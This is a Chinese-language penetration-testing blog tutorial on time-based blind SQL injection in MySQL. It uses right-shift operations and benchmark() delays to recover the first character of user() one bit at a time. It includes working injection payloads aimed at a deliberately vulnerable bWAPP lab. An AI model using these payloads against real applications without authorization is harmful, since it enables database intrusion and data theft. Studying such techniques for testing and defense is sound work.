我在2011年至2012年期间针对MySQL数据库集成的各种PHP应用程序进行了一些渗透测试,发现这些数据库容易受到基于时间的SQL盲注攻击。由于各种阻碍和限制,处理起来有些许棘手,因此,我不得不找到一种允许我尽可能少地检索数据的方法。
我偶然发现了使用位移技术演示SQL注入的文章:https://www.exploit-db.com/papers/17073/
在最近的CTF比赛Hack the Box(https://www.hackthebox.eu/ )中,我再次使用这种方法来处理一些棘手的SQL注入。
这篇博文将演示如何使用'右移'运算符(>>)来枚举从SQL查询返回的二进制形式的值。
注意:可以在以下URL找到位运算符的完整说明:https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html
右移位运算符是将一个二进制数按指定移动的位数向右移动,如下例所示:
mysql> select ascii(b'01110010');
+--------------------+
| ascii(b'01110010') |
+--------------------+
| 114 |
+--------------------+
1 row in set (0.00 sec)
mysql> select ascii(b'01110010') >> 1;
+-------------------------+
| ascii(b'01110010') >> 1 |
+-------------------------+
| 57 |
+-------------------------+
1 row in set (0.00 sec)
这可以用在利用SQL盲注入时枚举字符串的字符。如果数据出现在ASCII表中,则每个字符最多可以枚举8次。
我们希望通过此方法提取的数据是查询返回的第一个字符:select user()
第一位:
首先,我们找到第一位的值:
????????
这有两种可能性:
0(十进制值:0)// TRUE
或者
1(十进制值:1)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------------------------+
1 row in set (2.35 sec)
SQL查询存在时延,所以条件为TRUE,即第一位为0
0 ???????
第二位:
现在,我们需要找第二位的值。同上,这也有两种可能性:
0 0(十进制值:0)// TRUE
或者
0 1(十进制值:1)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第二位为1
0 1 ?????
第三位:
接下来是第三位的值,同上,有以下两种情况:
01 0(十进制值:2)// TRUE
或者
01 1(十进制值:3)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第三位为1
01 1 ?????
第四位:
然后是第四位的值。同上,有两种可能:
011 0(十进制:6)//TRUE
或者
011 1(十进制:7)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第四位为1
011 1 ????
第五位:
然后是第五位的值。同上,有两种可能:
0111 0(十进制:14)//TRUE
或者
0111 1(十进制:15)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------------------------+
1 row in set (2.46 sec)
SQL查询存在时延,所以条件为TRUE,即第五位为0
0111 0???
第六位:
然后是第六位的值。同上,有两种可能:
01110 0(十进制:28)//TRUE
或者
01110 1(十进制:29)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------------------------+
1 row in set (2.44 sec)
SQL查询存在时延,因此条件为TRUE,所以第六位为0
01110 0 ??
第七位:
再然后是第七位的值。同上,有两种可能:
011100 0(十进制:56)//TRUE
或者
011100 1(十进制:57)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| false |
+---------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第七位为1
第四位必须为1
011100 1?
第八位:
最后,我们需要找到第八位的值。同上,有两种可能:
0111001 0(十进制:114)//TRUE
或者
0111001 1(十进制:115)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');
+----------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |
+----------------------------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------------------------+
1 row in set (2.33 sec)
SQL查询存在时延,所以条件为TRUE,即第八位为0
0111001 0
现在我们可以得出结论,查询返回的第一个字符的二进制值:select user()
是01110010,结果是十进制值为114。114是'r'字符的ASCII码。
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
为了演示这种类型的SQL盲注攻击,我已经讲述了怎样枚举在bWAPP上容易受到攻击的应用程序中由'select user()
' 返回的第一个字符的第一个和最后一个二进制位:(https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)
1.SQLi字符串为第一位返回一个TRUE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
2.SQLi字符串为第一位返回一个FALSE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
3.SQLi字符串为第8位返回TRUE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23
如果您喜欢这篇文章,请分享给您的朋友。